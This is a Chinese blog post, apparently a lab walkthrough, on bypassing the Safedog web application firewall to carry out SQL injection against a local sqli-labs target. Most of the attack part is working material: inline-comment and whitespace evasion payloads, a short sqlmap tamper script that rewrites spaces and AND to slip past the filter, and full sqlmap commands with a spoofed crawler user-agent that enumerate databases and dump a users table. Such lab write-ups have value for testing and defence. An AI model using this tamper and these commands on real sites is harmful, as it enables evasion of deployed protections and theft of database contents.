5行tamper bypass safedog

5行tamper bypass safedog

 

0x01 准备了safedog,sqli靶场

最新的safedog ,2020-12-07号下载的。
虚拟机仅主机模式下没有注册,但也还能用。将就一下。

 

0x02 xor绕过

首先测试语句and 1=1  / or 1=1 被拦截。
xor 1=1--+没有被拦截可以判断注入。

 

0x03 mysql空字符+内联注释绕过

mysql空字符:%20,%0b,%09,%0a,%0c,%0d,%a0
内联注释:/*!*/
 

0x04 union select绕过

safedog把union select咬的死,用BurpSuite Fuzz一波
 
一般跑下内联注释里的'数字'就可以了
 
随便跑一下就几百个能用的
 

0x05 tamper编写与调试

定义一个tamper函数,这是Sqlmap规定的。
里面的参数payload也是固定的,用来接收sqlmap传进来的payload。
变量retVal也是固定的。return把处理过的payload返回给调用它的地方。
这里用个最简单字符串替换函数replace()
把payload的空格替换成/*!19944*/%23%0A
把写好的tamper放到sqlmap的tamper目录下
 
额,效果好像不太明显。。。
这里说明一下,有WAF的必须指定User-Agent,否则有特征直接被拦。看情况还要加请求延迟,降低请求速度。

 


sqlmap -u "http://10.254.1.101/sqli/Less-1/?id=1" --user-agent="Mozilla/5.0 (compatible;Baiduspider/2.0;+http://www.baidu.com/search/spider.html)" --delay=0.5 --tamper=safedog  --technique=U --dbs
需要指定注入方法才有效果。。。勉强跑出库名。
 
现截个payload等下可以做对比,毕竟库名跑出来了
 
库名跑出来了直接跑列名,不出所料,跑不出来。
看下payload,拖出来对比测试。
 
经过观察测试,是这个and被狗咬的死死的。问题不大,Fuzz一波就过去了。
 
这里还是原来的思路把and替换成/*!XXXXXand*/。直接上BP,又有N个能bypass的
 
挑一个再写到tamper里,这会的tamper已经成长到5行了。
""">> > tamper('SELECT id FROM users')
'SELECT/*!19944*/%23%0Aid/*!19944*/%23%0AFROM/*!19944*/%23%0Ausers'
"""


def tamper(payload,**kwargs):
    retVal = payload
    retVal = retVal.replace(' ','/*!19944*/%23%0A')
    retVal = retVal.replace('AND','/*!11441and*/')
    return retVal

 

 
跑个列名一点问题没有
sqlmap -u "http://10.254.1.101/sqli/Less-1/?id=1" --user-agent="Mozilla/5.0 (compatible;Baiduspider/2.0;+http://www.baidu.com/search/spider.html)" --delay=0.5 --tamper=safedog  --technique=U -D security --columns -v3

 
 
这会应该可以完美Bypass了。删除缓存,重头来一遍。
直接跑出来有联合注入,布尔盲注,时间盲注。
sqlmap -u "http://10.254.1.101/sqli/Less-1/?id=1" --user-agent="Mozilla/5.0 (compatible;Baiduspider/2.0;+http://www.baidu.com/search/spider.html)" --delay=0.5 --tamper=safedog

 
跑库名,没问题
 
跑表名也没有问题。。。
sqlmap -u "http://10.254.1.101/sqli/Less-1/?id=1" --user-agent="Mozilla/5.0 (compatible;Baiduspider/2.0;+http://www.baidu.com/search/spider.html)" --delay=0.5 --tamper=safedog  -Dsecurity --tables

 
 
dump数据也没有问题,跟没狗一样的感觉。。。
sqlmap -u "http://10.254.1.101/sqli/Less-1/?id=1" --user-agent="Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)" --delay=0.5 --tamper=safedog  -D security -T users --dump

 
 

0x06 总结

其实不用跟着sqlmap原有的脚本进行修改,弄清楚来龙去脉,原理就是加工payload再return回去。
后面想写个自动fuzz的脚本(也许吧)。
 
 
 
 
 
 
 
 
 
 
 
 
 
 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值